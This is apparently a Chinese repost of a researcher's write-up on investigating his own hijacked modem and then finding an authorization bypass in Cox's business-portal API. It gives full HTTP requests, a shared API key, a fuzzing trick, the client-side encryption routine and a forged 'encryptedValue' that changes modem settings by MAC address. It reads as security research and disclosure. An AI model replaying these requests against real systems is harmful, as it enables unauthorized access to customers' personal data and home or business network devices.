黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

admin 2025年4月28日15:22:18评论1 views字数 20366阅读67分53秒阅读模式

扫码领资料

获网安教程

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)
黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

Track安全社区投稿~  

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

引言

两年前,在我使用家中网络远程工作时,发生了一件非常奇怪的事情。当时我正在利用一个需要外部 HTTP 服务器来传出文件的盲 XXE 漏洞,所以我在 AWS 上开了一台服务器,运行了一个简单的 Python Web 服务器来接收来自受害服务器的流量:

python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

在 Web 服务器运行后,我从家用电脑发送了一个 cURL 请求,确保可以接收外部的 HTTP 请求:

curl "http://54.156.88.125:8000/test123"

几秒钟后,我在日志中看到了以下记录:

98.161.24.100 - [16:32:12] "GET /test123 HTTP/1.1"

完美,这意味着我成功地在服务器上接收到了网络流量。一切看起来都很顺利,但就在我切换回去继续利用漏洞时,日志文件中突然出现了非常意外的一条记录:

98.161.24.100 - [16:32:12] "GET /test123 HTTP/1.1"159.65.76.209 - [16:32:22] "GET /test123 HTTP/1.1"

一个陌生的 IP 地址在 10 秒后复现了完全相同的 HTTP 请求。

“哇,这太奇怪了。”我心想。在我家用网络和 AWS 服务器之间的某个地方,有人拦截并重放了我的 HTTP 流量。这段流量本不应该被任何中间人看到。两个系统之间没有任何应该能看到这些流量的中介。我的第一反应是:我的电脑被黑了,黑客正在实时监控我的流量。

为了确认在其他设备上是否也会出现同样的情况,我拿出我的 iPhone,在 Safari 中输入了相同的 URL,发送请求后查看了日志文件:

98.161.24.100 - [16:34:04] "GET /uhhhh HTTP/1.1"159.65.76.209 - [16:34:16] "GET /uhhhh HTTP/1.1"

同样的陌生 IP 地址也拦截并重放了我电脑和 iPhone 上的 HTTP 请求。某种方式下,有人正在拦截并重放我家中几乎所有设备的网络流量。

我开始恐慌了,立刻又在 AWS 上启动了一台新的服务器,改用 Nginx,确保原来的实例没有被入侵。

sudo service nginx starttail -f /var/log/nginx/access.log

我再次从 iPhone 打开 URL,结果看到的日志依然一样:

98.161.24.100 - [16:44:04] "GET /whatisgoingon1234 HTTP/1.1"159.65.76.209 - [16:44:12] "GET /whatisgoingon1234 HTTP/1.1"

要么是我的 ISP(互联网服务提供商)、要么是调制解调器,要么是 AWS 被入侵了,有人正在我发送 HTTP 请求之后立即拦截并重放这些流量。为了排除 AWS 被入侵这种离谱的可能性,我又在 GCP 上开了一台服务器,结果还是观察到了同样的陌生 IP 重放了我的 HTTP 请求。问题不在 AWS。

剩下唯一合理的解释就是我的调制解调器被黑了。但攻击者是谁呢?我查询了这个 IP 地址的归属,发现它属于 DigitalOcean。奇怪,这显然不是我 ISP 的资产。

你是谁,159.65.76.209?

为了展开调查,我把这个 IP 地址发给了几个在威胁情报公司工作的朋友。他们发给我一条 VirusTotal 上关于这个 IP 的记录,其中详细列出了过去几年间解析到这个 IP 地址的所有域名。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

在最近关联到这个 IP 地址的 5 个域名中,有 3 个是钓鱼网站,另外 2 个看起来像是邮件服务器。以下这些域名在某个时间点上都曾解析到这个 DigitalOcean 的 IP 地址:

regional.adidas.com.py (2019/11/26)isglatam.online (2019/12/08)isglatam.tk (2020/11/11)mx12.limit742921.tokyo (2021/08/08)mx12.jingoism44769.xyz (2022/04/12)

与 159.65.76.209 这个 IP 地址关联的两个域名是 isglatam.online 和 isglatam.tk。这两个域名曾经都是冒充 isglatam.com 的钓鱼网站,而 isglatam.com 是一家南美洲的网络安全公司。

在访问了真正的 ISG Latam 网站后,我们了解到,他们总部位于巴拉圭,并且与 Crowdstrike、AppGate、Acunetix、DarkTrace 和 ForcePoint 等公司有合作关系。通过短短 10 分钟的了解,基本可以判断,拦截我流量的人曾经利用这个 IP 地址尝试对 ISG Latam 进行钓鱼攻击。

黑客攻击黑客?

这就非常奇怪了。就在一年前,这个 IP 地址还被用来搭建针对一家南美网络安全公司的钓鱼基础设施。如果假设他们已经控制了这个 IP 地址长达 3 年,那就意味着,他们至少用它发起过 2 次不同的钓鱼活动,还有可能搭建了一个路由器恶意软件的 C&C(指挥与控制)服务器?

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

通过 URLscan,我了解到 isglatam.online 和 isglatam.tk 这两个网站曾经托管的是通用的 BeEF 钓鱼站点。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

攻击者的特征非常有趣,因为他们在同一台服务器上进行了各种不同的恶意活动,而且显然在超过 3 年的时间里都没有被封禁。将 Adidas 钓鱼、ISG Latam 钓鱼以及劫持我的调制解调器这几件事联系到同一个 IP 地址上,确实很难推测他们的真实意图。虽然存在 IP 地址在这些年间被不同人使用的可能性,但这种可能性不大,因为各事件之间的间隔时间较长,而且不太可能恰好又被另一个恶意方接手。

意识到被感染的设备还在运行,我走过去,将它断电,放进了一个纸箱里。

移交证据

我使用的调制解调器是 Cox 公司的 Panoramic Wifi 网关。在得知它可能已经被攻破后,我前往当地的 Cox 门店,向他们展示了我的设备并申请更换新设备。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

我在申请更换新调制解调器时遇到了一个问题:为了拿到新的设备,我必须交还旧的那台。遗憾的是,旧设备并不真正属于我——我只是向 ISP(互联网服务提供商)租用了它。我向工作人员解释说,我希望能保留这台设备,进行逆向分析。他的表情有些变化,明显没那么热情了。

“真的一点办法都没有吗?”我问。“没有,我们需要收回你的旧设备才能给你新的。”ISP 的工作人员答道。他们态度坚决,不容商量。尽管我非常想拆开设备,提取固件,看看有没有能找到潜在被攻破的痕迹,但我已经把设备交给了他们。我拿着新的调制解调器,失望地离开了门店。

在安装好新调制解调器后,以前出现的问题完全消失了。我的流量不再被重放,日志里也没有出现“其他 IP”,一切似乎恢复了正常。

带着一丝遗憾,我基本可以确认是之前的那台调制解调器被攻陷了。既然设备已经上交并被更换,我也无法再进一步调查了,除非去检查我的电脑是否也被黑了。

就这样,我放弃了继续追查。至少暂时是这样。

三年后

到了 2024 年初,差不多三年后,我和一些同样从事网络安全工作的朋友一起出去度假。在晚餐时,我跟他们讲起了这段经历。他们听后很感兴趣,想了解更多细节,并觉得可以自己动手调查一番。

他们首先注意到(因为比我有更多恶意软件分析经验)的是那两个邮件服务器域名的格式(limit742921.tokyo 和 jingoism44769.xyz)。他们提取了 limit742921.tokyo 的 mx1 子域的 IP 地址,然后对该 IP 做了反向查询,查看曾经解析到这个 IP 的所有域名。结果发现有 1000 多个域名,而且全都遵循着同样的命名规则:

{"rrname":"acquire543225.biz.","rrtype":"A","rdata":"153.127.55.212"}{"rrname":"battery935904.biz.","rrtype":"A","rdata":"153.127.55.212"}{"rrname":"grocery634272.biz.","rrtype":"A","rdata":"153.127.55.212"}{"rrname":"seventy688181.biz.","rrtype":"A","rdata":"153.127.55.212"}

这些被注册的域名无一例外,都符合以下格式:

[单词][6位数字].[顶级域名]

由于域名数量庞大且结构高度规律,这基本可以确定是恶意软件操作者使用了某种域名生成算法(DGA),目的是不断更换 C&C 服务器的解析地址,以增加溯源难度。也就是说,那个重放我流量的 IP 地址,很有可能其实是一个 C&C(命令与控制)服务器,而我之前以为是邮件服务器的那两个域名,实际上是算法生成、用于指向 C&C 服务器的“跳板域名”。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

有些让人失望的是,这些域名全都是历史遗留的,最后一个被注册是在 2023 年 3 月 17 日。现在这些主机都已经无法解析了,我们也找不到有新的、类似的域名指向同一个 IP 地址。

考虑到我更换的新调制解调器型号和之前被攻陷的是同一款,我很好奇攻击者有没有找到重新入侵的方法。简单在 Google 搜索了一下后,我发现即使到了三年后的现在,这款调制解调器型号也没有任何已公开的漏洞。如果真有漏洞的话,那攻击者确实隐藏得非常好。

另一种可能性也越来越明显:他们可能利用了除通用路由器漏洞之外的其他手段。我非常想继续深入调查,思考到底有哪些方式可能导致我的设备被攻陷。

利用 TR-069 协议攻击 REST API

回到家后,一个好朋友请我帮他搬新家的家具。这也包括帮他迁移 Cox 的调制解调器。在把设备接上光纤线路后,我打电话联系了 ISP 客服,询问是否能远程推送更新,使设备在新地址正常使用。客服确认可以,他们能够远程更新设备设置,包括修改 WiFi 密码、查看连接的设备等。

客服人员对设备的高度控制能力让我非常感兴趣,特别是他们几乎可以修改设备上的任何东西。这种远程管理能力是通过 2004 年实施的 TR-069 协议实现的,它允许 ISP 通过端口 7547 管理自家网络内的设备。TR-069 协议早在以前就有不少精彩的 DEF CON 演讲探讨过,而且它并不会直接暴露到公网,所以我对挖掘协议本身的漏洞兴趣不大。

但我感兴趣的是——客服人员使用的管理工具

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

稍微进行一点推测的话——如果我是一个想要攻陷我这台调制解调器的黑客,我很可能不会直接攻击设备本身,而是会盯上支撑客服人员管理工具的那套基础设施。客服人员很可能有一个用于设备管理的内部网站,这个网站背后应该有一个 API,可以执行各种指令,修改或查看用户设备的管理设置。如果我能找到某种方式访问到这些功能,也许就能弄清楚我当初是如何被攻陷的,并且至少可以修补其中一条被利用的攻击路径。

攻击数百万台调制解调器

我决定调查的第一件事就是 Cox Business 门户。这款应用提供了大量远程管理设备的功能,比如设置防火墙规则、监控网络流量等等,功能非常丰富且有趣。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

虽然我自己并没有 Cox Business 的账户,但我还是打开了这个门户网站的登录页面,并下载了支撑应用核心功能的 main.36624ed36fb0ff5b.js 文件。经过美化处理后,我提取出了所有的路由,并开始逐个查看:

/api/cbma/voicemail/services/voicemail/inbox/transcribeMessage//api/cbma/profile/services/profile/userroles//api/cbma/accountequipment/services/accountequipment/equipments/eligibleRebootDevice/api/cbma/accountequipment/services/accountequipment/casedetail/api/cbma/user/identity/services/useridentity/user/verifyContact/api/cbma/user/identity/services/useridentity/user/contact/validate...

有超过 100 个不同的 API 调用,它们的基本路径都是 /api/cbma/。由于这个路由似乎支持大部分与设备相关的功能,我认为有必要调查一下 /api/cbma/ 端点是否是指向其他主机的反向代理。我通过发送以下请求来进行测试:

不以 api/cbma 开头的 HTTP 请求(返回 301):

GET /api/anything_else/example HTTP/1.1Host: myaccount-business.cox.comHTTP/1.1 301 Moved PermanentlyLocation: https://myaccount-business.cox.com/cbma/api/anything_else/example

以 api/cbma 开头的 HTTP 请求(返回 500):

GET /api/cbma/example HTTP/1.1Host: myaccount-business.cox.comHTTP/1.1 500 Internal Server ErrorServer: nginx

通过发送上述 HTTP 请求,我们得知 api/cbma 端点是一个明确的路由,很可能是另一个主机的反向代理,因为它在 HTTP 响应方面表现不同。当我们请求除了 api/cbma 以外的内容时,它返回的是 302 重定向,而不是由 api/cbma 触发的 500 内部服务器错误。

这表明他们将 API 请求代理到专用的后端,而前端文件则通过正常的系统提供。

由于 API 本身包含了所有有趣的设备管理功能,因此将重点放在 api/cbma 路由背后的内容上是有意义的,看看是否有暴露的控制器、API 文档,或者任何允许我们提升权限的目录遍历漏洞。

我继续代理了 Cox Business 门户下的注册请求,这个请求位于 api/cbma 路径下:

POST /api/cbma/userauthorization/services/profile/validate/v1/email HTTP/1.1Host: myaccount-business.cox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0Accept: application/json, text/plain, */*Content-Type: application/jsonClientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedMa_transaction_id: a85dc5e0-bd9d-4f0d-b4ae-4e284351e4b4Content-Length: 28Connection: close{"email":"[email protected]"}HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 126{  "message": "Success",  "id": "[email protected]"}

该 HTTP 请求包含了许多不同的授权头,其中看起来有一个通用的 API 密钥,它在用户之间共享。clientid 和 Cb_session 键看起来非常自定义,表明应用程序中使用了多种角色和权限。

HTTP 响应看起来像是一个通用的 Spring 响应,我们很可能通过简单地将 POST 请求改为 GET 请求并观察响应,快速确认后端 API 正在运行 Spring:

GET /api/cbma/userauthorization/services/profile/validate/v1/email HTTP/1.1Host: myaccount-business.cox.comHTTP/1.1 500 Internal Server ErrorContent-type: application/json{  "timestamp": "2024-04-12T08:57:14.384+00:00",  "status": 500,  "error": "Internal Server Error",  "path": "/services/profile/validate/v1/email"}

没错,那绝对是一个 Spring 错误。既然我们确认了反向代理运行的是 Spring,我决定查找 actuator 和暴露的 API 文档。

我接着尝试猜测 actuator 路由:

❌ GET /api/cbma/userauthorization/services/profile/validate/v1/email/actuator/❌ GET /api/cbma/userauthorization/services/profile/validate/v1/actuator/❌ GET /api/cbma/userauthorization/services/profile/validate/actuator/❌ GET /api/cbma/userauthorization/services/profile/actuator/❌ GET /api/cbma/userauthorization/services/actuator/❌ GET /api/cbma/userauthorization/actuator/❌ GET /api/cbma/actuator/

真可惜,没有找到容易访问的 actuator。我接着检查了是否有可访问的 API 文档:

❌ GET /api/cbma/userauthorization/services/profile/validate/v1/email/swagger-ui/index.html❌ GET /api/cbma/userauthorization/services/profile/validate/v1/swagger-ui/index.html❌ GET /api/cbma/userauthorization/services/profile/validate/swagger-ui/index.html❌ GET /api/cbma/userauthorization/services/profile/swagger-ui/index.html❌ GET /api/cbma/userauthorization/services/swagger-ui/index.html✅ GET /api/cbma/userauthorization/swagger-ui/index.html

我们找到了!在 /api/cbma/profile/swagger-ui/index.html 处有一个 Swagger 登陆页面。我加载了该页面,期待看到 API 路由,但…

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

完全为空。某些问题导致页面未能加载。我检查了网络流量,似乎在尝试加载任何静态资源时,出现了无限重定向循环:

GET /api/cbma/ticket/services/swagger-ui/swagger-initializer.js HTTP/1.1Location: /cbma/api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js...GET /cbma/api/cbma/ticket/services/swagger-ui/swagger-initializer.js HTTP/1.1Location: /cbma/cbma/api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js

似乎加载页面的静态资源(.png.js.css)的请求都通过基础URI而不是反向代理API主机进行路由。这意味着可能存在针对静态资源的代理规则,因此我更改了扩展名进行测试:

GET /api/cbma/userauthorization/services/swagger-ui/swagger-initializer.anythingElse HTTP/1.1Host: myaccount-business.cox.comHTTP/1.1 500 Internal Server ErrorServer: nginx

在确认.js扩展名触发了请求路由到原始主机之后,我们现在需要找到一种方法,从API反向代理加载资源,但不触发静态文件的路由规则条件。由于请求正在被代理,最简单的方法是检查是否有任何字符可以添加,这些字符在传输过程中会“丢失”。

从反向代理API加载静态资源

为了进行模糊测试,我简单地使用了Burp的Intruder工具,在URL末尾枚举从%00%FF的字符。大约30秒后,我们通过附加URL编码的/符号得到了200 OK响应:

GET /api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js%2f HTTP/1.1Host: myaccount-business.cox.comHTTP/2 200 OKContent-Type: application/javascriptwindow.onload = function() { window.ui = SwaggerUIBundle({ url: "https://petstore.swagger.io/v2/swagger.json", dom_id: '#swagger-ui', deepLinking: true, presets: [ SwaggerUIBundle.presets.apis, SwaggerUIStandalonePreset ], plugins: [ SwaggerUIBundle.plugins.DownloadUrl ], layout: "StandaloneLayout" , "configUrl" : "/services/v3/api-docs/swagger-config", "validatorUrl" : "" }); //</editor-fold> };

通过将%2f附加到.js扩展名后,我们能够加载JS文件。我使用Burp的匹配替换功能编写了一个规则,将%2f附加到所有静态资源,然后重新加载页面。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

完美,swagger路由已加载。我使用相同的技巧加载了所有其他API端点的swagger文档。总共有大约700个不同的API调用,每个API包含以下数量的调用:

account (115 routes)voiceutilities (73 routes)user (70 routes)datainternetgateway (57 routes)accountequipment (55 routes)billing (53 routes)ticket (52 routes)profile (47 routes)voicecallmanagement (46 routes)voicemail (37 routes)voiceusermanagement (30 routes)userauthorization (24 routes)csr (16 routes)voiceprofile (14 routes)

在快速浏览完所有内容后,以下API似乎具有与硬件交互和访问客户账户的最多功能:

accountequipment (55 routes)datainternetgateway (57 routes)account (115 routes)

我复制了我用来注册网站的HTTP请求,运行了一个入侵者脚本,点击了每一个GET端点,检查是否有任何可访问的未经身份验证的API端点。返回的结果非常有趣。有一半的端点返回了授权错误,而另一半则返回了200 OK的HTTP响应。

意外发现Cox后台API的授权绕过

在完成所有API端点的入侵者扫描后,我滚动查看是否有任何有趣的响应。以下的"profilesearch"端点返回了一个有趣的HTTP响应,看起来是从一个空的搜索中返回了一个空的JSON对象:

GET /api/cbma/profile/services/profile/profilesearch/ HTTP/1.1Host: myaccount-business.cox.comClientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedHTTP/1.1 200 OKContent-type: application/json{  "message": "Success",  "profile": {    "numberofRecords": "0 hits",    "searchList": []  }}

从查看JavaScript代码来看,我们似乎需要在URI中添加一个参数来搜索特定的个人资料。我继续在URI中输入了test,并得到了以下响应:

{  "message": "Authorization Error-Invalid User Token"}

无效的用户令牌?但是我刚才才成功访问这个端点!我从URI中删除了test,然后重新发送了这个请求。又是一个授权错误!出于某种原因,原本没有参数的端点现在返回了授权错误,尽管在使用Intruder时我们能够顺利访问。

我进行了一个基本的检查,确认Intruder请求和我在Repeater中发送的请求之间没有任何变化。我再次重放了请求,但出乎意料的是,这次它返回了原来的200 OK和Intruder中的JSON响应!发生了什么?它似乎间歇性地给我返回授权错误,或者说请求已经成功。

为了测试是否可以用实际的搜索查询重现这个问题,我在URI中写下了cox,然后重放了2到3次请求,直到我看到了以下响应:

{  "message": "Success",  "profile": {    "numberofRecords": "10000+ hits",    "searchList": [      {        "value": "COX REDACTED",        "profileGuid": "cbbccdae-b1ab-4e8c-9cec-e20c425205a1"      },      {        "value": "Cox Communications SIP Trunk REDACTED",        "profileGuid": "bc2a49c7-0c3f-4cab-9133-de7993cb1c7d"      },      {        "value": "cox test account ds1/REDACTED",        "profileGuid": "74551032-e703-46a2-a252-dc75d6daeedc"      }    ]  }}

哇!这些看起来像是Cox商业客户的资料。我并不指望有结果,于是我把“cox”替换成了“fbi”,想看看它是否真的在拉取客户数据:

{  "message": "Success",  "profile": {    "numberofRecords": "REDACTED hits",    "searchList": [      {        "value": "FBI REDACTED",        "profileGuid": "7b9f092a-e938-41d5-bcf5-0be1bb6487f5"      },      {        "value": "FBI REDACTED",        "profileGuid": "c8923f6f-b4ed-4f66-a743-000a961edb35"      },      {        "value": "FBI REDACTED",        "profileGuid": "a32b8112-48ac-4a4f-8893-5ca1c392a31d"      }    ]  }}

哦,不。上面的响应包含了几家Cox商业客户的FBI分支办公室的物理地址。行政客户搜索API请求是有效的。这可不妙!

我们已经确认,通过简单地重复HTTP请求,我们可以绕过API端点的授权,并且还有超过700个其他的API请求可以进行操作。现在是时候看看实际的影响了。

确认我们可以访问任何人的设备

我回顾了入侵扫描的结果,现在知道只要重复发送请求,就可以绕过授权。为了弄清楚这个漏洞是否被用来攻击我的调制解调器,我需要知道这个API是否能在访问控制层面上访问住宅网络。Cox同时提供住宅和商业服务,但在底层,我猜测该API能够访问这两者。

我决定提取出最简单的请求,这个请求接受一个macAddress参数,测试是否可以通过API访问我的调制解调器。

/api/cbma/accountequipment/services/accountequipment/ipAddress?macAddress=:mac

这是一个GET请求,用于检索调制解调器的IP地址,要求提供一个macAddress参数。我登录Cox,获取了我自己的MAC地址,然后反复发送HTTP请求,直到它返回200 OK:

GET /api/cbma/accountequipment/services/accountequipment/ipAddress?macAddress=f80c58bbcb90 HTTP/1.1Host: myaccount-business.cox.comClientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedHTTP/1.1 200 OKContent-type: application/json{  "message": "Success",  "ipv4": "98.165.155.8"}

成功了!我们通过Cox Business网站的API访问了我们自己的设备!这意味着,运行在这个API上的任何东西实际上都可以用来与设备进行通信。Cox为数百万客户提供服务,而这个API似乎允许我通过MAC地址直接与任何人的设备进行通信。

接下来的问题是,我们是否可以通过搜索某个账户ID来检索与其账户关联的硬件的MAC地址(我们之前通过客户查询端点获取了账户ID)。我在我的swagger列表中找到了accountequipment/services/accountequipment/v1/equipments端点,并将它与我的账户ID一起放入Burp Repeater中。它返回了以下信息:

GET /api/cbma/accountequipment/services/accountequipment/v1/equipments/435008132203 HTTP/1.1Host: myaccount-business.cox.comClientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedHTTP/1.1 200 OKContent-type: application/json{  "accountEquipmentList": [    {      "equipmentCategory": "Internet",      "equipmentModelMake": "NOKIA G-010G-A",      "equipmentName": "NOKIA G-010G-A",      "equipmentType": "Nokia ONT",      "itemModelMake": "NOKIA",      "itemModelNumber": "G-010G-A",      "itemNumber": "DAL10GB",      "macAddress": "f8:0c:58:bb:cb:92",      "portList": [        {          "address": "F80C58BBCB92",          "portNumber": "1",          "portType": "ONT_ALU",          "qualityAssuranceDate": "20220121",          "serviceCategoryDescription": "Data"        }      ],      "serialNumber": "ALCLEB313C84"    },    {      "equipmentCategory": "Voice",      "equipmentModelMake": "CISCO DPQ3212",      "equipmentName": "CISCO DPQ3212",      "equipmentType": "Cable Modem",      "itemModelMake": "CISCO",      "itemModelNumber": "DPQ3212",      "itemNumber": "DSA321N",      "macAddress": "e4:48:c7:0d:9a:71",      "portList": [        {          "address": "E448C70D9A71",          "portNumber": "1",          "portType": "DATA_D3",          "qualityAssuranceDate": "20111229",          "serviceCategoryDescription": "Unknown"        },        {          "address": "E448C70D9A75",          "portNumber": "2",          "portType": "TELEPHONY",          "qualityAssuranceDate": "20111229",          "serviceCategoryCode": "T",          "serviceCategoryDescription": "Telephone"        }      ],      "serialNumber": "240880144"    },    {      "equipmentCategory": "Television",      "equipmentModelMake": "Cox Business TV (Contour 1)",      "equipmentName": "Cox Business TV (Contour 1)",      "equipmentType": "Cable Receiver",      "itemModelMake": "CISCO",      "itemModelNumber": "650",      "itemNumber": "GSX9865",      "macAddress": "50:39:55:da:93:05",      "portList": [        {          "address": "44E08EBB6DBC",          "portNumber": "1",          "portType": "CHDDVRX1",          "qualityAssuranceDate": "20131108",          "serviceCategoryDescription": "Cable"        }      ],      "serialNumber": "SACDRVKQN"    }  ]}

成功了!我的连接设备在HTTP响应中返回了。

访问和更新任何Cox Business客户账户

为了测试是否可以滥用这个漏洞来访问和修改商业客户账户,我找到了一个可以通过电子邮件查询客户的API请求。我发送了以下HTTP请求,并看到了以下响应:

GET /api/cbma/user/services/user/[email protected] HTTP/1.1Host: myaccount-business.cox.comHTTP/1.1 200 OKContent-type: application/json{  "id": "[email protected]",  "guid": "89d6db21-402d-4a57-a87b-cad85d01b192",  "email": "[email protected]",  "firstName": "Redacted",  "lastName": "Redacted",  "primaryPhone": "Redacted",  "status": "INACTIVE",  "type": "RETAIL",  "profileAdmin": true,  "profileOwner": true,  "isCpniSetupRequired": false,  "isPasswordChangeRequired": true,  "timeZone": "EST",  "userType": "PROFILE_OWNER",  "userProfileDetails": {    "id": "{3DES}JA1+doxmDYc=",    "guid": "9795bd4c-92d6-4aa2-ad30-1da4bbcbe1da",    "name": "Supreme Carpet Care",    "status": "ACTIVE",    "ownerEmail": "[email protected]"  },  "contactType": {    "contactInfo": [      {        "type": "alternateEmail",        "value": "[email protected]"      }    ]  },  "preferredEmail": "[email protected]"}

另一个类似的POST账户更新请求成功了。这确认了我们可以读取和写入商业账户。

此时,我已经演示了以下操作:(1) 仅通过客户姓名搜索客户并检索其商业账户的个人身份信息(PII);(2) 检索客户账户上连接硬件的MAC地址;(3) 通过API对MAC地址执行命令。接下来是寻找一些实际写入设备的API端点,以模拟攻击者试图获取代码执行的场景。

通过泄露的加密密钥覆盖任何人的设备设置

查看swagger文档时,似乎每个硬件修改请求(例如更新设备密码)都需要一个名为encryptedValue的参数。如果我能找到生成这个值的方法,那么我就可以演示对调制解调器的写访问,这将导致远程代码执行。

为了确定我是否能够生成这个encryptedValue参数,我需要深入研究原始的JavaScript,弄清楚它是如何被签名的。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

在追溯encryptedValue参数的JavaScript代码时,我找到了以下两个函数:

encryptWithSaltandPadding(D) {    const k = n.AES.encrypt(D, this.getKey(), {        iv: n.enc.Hex.parse(s.IV)    }).ciphertext.toString(n.enc.Base64);    return btoa(s.IV + "::" + s.qs + "::" + k)}decryptWithSaltandPadding(D) {    const W = atob(D),        k = this.sanitize(W.split("::")[2]),        M = n.lib.CipherParams.create({            ciphertext: n.enc.Base64.parse(k)        });    return n.AES.decrypt(M, this.getKey(), {        iv: n.enc.Hex.parse(s.IV)    }).toString(n.enc.Utf8)}

这两个函数都接受在运行时才存在的变量,所以最简单的方法是找到它们在实际用户界面中被调用的地方。经过一番搜索,我意识到在注册账户时设置的4位数字PIN码是通过相同的函数加密的!

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

我在encryptWithSaltAndPadding函数被调用的地方设置了一个断点,然后按下回车。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

现在我已经设置了断点,并进入了正确的函数上下文,我可以简单地将函数粘贴到我的控制台中并运行任何我想要的操作。为了验证它是否有效,我复制了在POST请求中发送的PIN码的加密值,并将其传递给解密函数。

t.cbHelper.decryptWithSaltandPadding("OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjova3paY1orSjRGR0YwWGFvRkhwWHZRPT0=")"8042"

完美!它按预期工作。现在唯一的问题是获取设备的加密值。我询问了一段时间,直到找到一个住在几个州外的朋友,他经营着一家MSP,使用的是Cox Business。他们给了我一个登录账户,我在登录后看到在其中一个HTTP响应中似乎包含了一个encryptedValue参数。我复制了这个值,并再次将其传递给解密函数:

t.cbHelper.decryptWithSaltandPadding("OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjpiYk1SNGQybzFLZHhRQ1VQNnF2TWl1QlZ0NEp6WVUyckJGMXF5T0dYTVlaNWdjZkhISTZnUFppdjM3dmtRSUcxclNkMC9WNmV2WFE1eko0VnFZUnFodz09")541051614702;DTC4131;333415591;1;f4:c1:14:70:4d:ac;Internet

嗯,这有点麻烦。看起来加密的参数包含了MAC地址,但也有一个账户ID和一些额外的参数。

541051614702 = Cox Account NumberDTC4131 = Device Name333415592 = Device ID1 = Unknownf4:c1:14:70:4d:ac = MAC addressInternet = Label

如果有某种验证机制检查MAC地址是否与账户ID匹配,那么利用这个漏洞可能会变得复杂。我进一步调查了。

在任何调制解调器上执行命令

我抱着试试看的心态,尝试用除MAC地址之外的垃圾数据签名一个“encryptedValue”字符串(例如 123456789012;1234567;123456789;1;f4:c1:14:70:4d:ac;ANYTHING),看看它是否验证账户ID与MAC地址是否匹配:

t.cbHelper.encryptWithSaltandPadding("123456789012;1234567;123456789;1;f4:c1:14:70:4d:ac;ANYTHING")OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjpLUlArd3Jqek5Ra3VlZUVReXVUWEZHbE91NWVQRzk0WEo1Zi9wSDdVZWxHVkFXYmtWd2Z2YmNHU1FWOVRFT2prZm5tNFhWZlQwNkQ3V2tDU1FqbHpIUT09

上述参数中唯一有效的是设备序列号。如果这个请求成功,意味着我可以使用一个“encryptedValue”参数,而不需要匹配账户ID。

我发送了请求,看到与之前相同的HTTP响应!这确认了我们不需要额外的参数,只需知道MAC地址(我们可以通过查询客户姓名,获取他们的账户UUID,然后通过UUID获取他们的所有连接设备)就能随意查询任何硬件设备。我们现在基本上拥有了完整的攻击链。

我构造了以下HTTP请求,将自己的设备MAC地址的SSID更新,作为更新自己硬件的概念验证:

POST /api/cbma/accountequipment/services/accountequipment/gatewaydevice/wifisettings HTTP/1.1Host: myaccount-business.cox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: application/json, text/plain, */*Clientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedMa_transaction_id: 56583255-1cf3-41aa-9600-3d5585152e87Connection: closeContent-Type: application/jsonContent-Length: 431{  "wifiSettings": {    "customerWifiSsid24": "Curry"  },  "additionalProperties": {    "customerWifiSsid24": [      "Curry"    ]  },  "encryptedValue": "T0dFek1qTm1OakZoT1RrMk1HSTJPVE0wTnpBek5Ua3pPRFprT0dZeE9ESTZPamhoTnpVMU5UTmxNREF6T1RsaE5XUTVaams1WlRZek16TTNNMlJpWVdVek9qcENVMlp1TjJ0blVsTkNlR1ZhZDJsd05qZGhjWFo0TTJsaVJHSkhlU3N2TUhWVWFYZzJWVTByYzNsT2RYWklMek16VjJ4VldFYzJTMWx5VEVNMVRuSkxOVVF3VFhFek9UVmlUR2RGVFd4RUt6aGFUMnhoZHowOQ=="}HTTP/1.1 200 OKServer: nginx{  "message": "Success"}

它成功了吗?它只是给了我一个空白的200 OK响应。我尝试重新发送HTTP请求,但请求超时了。我的网络已经断开了。更新请求一定是重置了我的设备。

大约5分钟后,我的网络重启了。SSID名称已更新为“Curry”。我可以通过这个漏洞对任何人的设备进行读写操作。

黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

